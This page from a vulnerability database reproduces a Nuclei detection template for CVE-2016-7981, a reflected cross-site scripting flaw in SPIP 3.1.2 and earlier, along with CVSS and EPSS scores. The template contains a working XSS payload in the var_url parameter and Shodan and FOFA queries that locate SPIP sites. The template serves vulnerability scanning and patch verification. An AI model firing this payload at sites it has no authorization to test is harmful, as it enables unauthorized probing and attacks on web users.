Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2016-7981
HistoryJul 27, 2021 - 10:27 a.m.

SPIP <3.1.2 - Cross-Site Scripting

2021-07-2710:27:42
ProjectDiscovery
github.com
5

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

6 Medium

AI Score

Confidence

High

0.003 Low

EPSS

Percentile

65.8%

SPIP 3.1.2 and earlier contains a cross-site scripting vulnerability in valider_xml.php which allows remote attackers to inject arbitrary web script or HTML via the var_url parameter in a valider_xml action.
id: CVE-2016-7981

info:
  name: SPIP <3.1.2 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    SPIP 3.1.2 and earlier contains a cross-site scripting vulnerability in valider_xml.php which allows remote attackers to inject arbitrary web script or HTML via the var_url parameter in a valider_xml action.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser.
  remediation: |
    Upgrade SPIP to version 3.1.2 or later to mitigate this vulnerability.
  reference:
    - https://core.spip.net/projects/spip/repository/revisions/23202
    - https://core.spip.net/projects/spip/repository/revisions/23201
    - https://core.spip.net/projects/spip/repository/revisions/23200
    - https://nvd.nist.gov/vuln/detail/CVE-2016-7981
    - http://www.openwall.com/lists/oss-security/2016/10/05/17
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-7981
    cwe-id: CWE-79
    epss-score: 0.00258
    epss-percentile: 0.6548
    cpe: cpe:2.3:a:spip:spip:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: spip
    product: spip
    shodan-query:
      - http.html:"spip.php?page=backend"
      - cpe:"cpe:2.3:a:spip:spip"
    fofa-query: body="spip.php?page=backend"
  tags: cve2016,cve,xss,spip

http:
  - method: GET
    path:
      - "{{BaseURL}}/ecrire/?exec=valider_xml&var_url=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"></script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402203d479598e86902b6858e73b449d89b3490d625bad56ae942557c461c84fe7f7902201df02b61b476180a451165d2c7410439679f666fdb8deea3dd998b584506213d:922c64590222798bb761d5b6d8e72950

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

6 Medium

AI Score

Confidence

High

0.003 Low

EPSS

Percentile

65.8%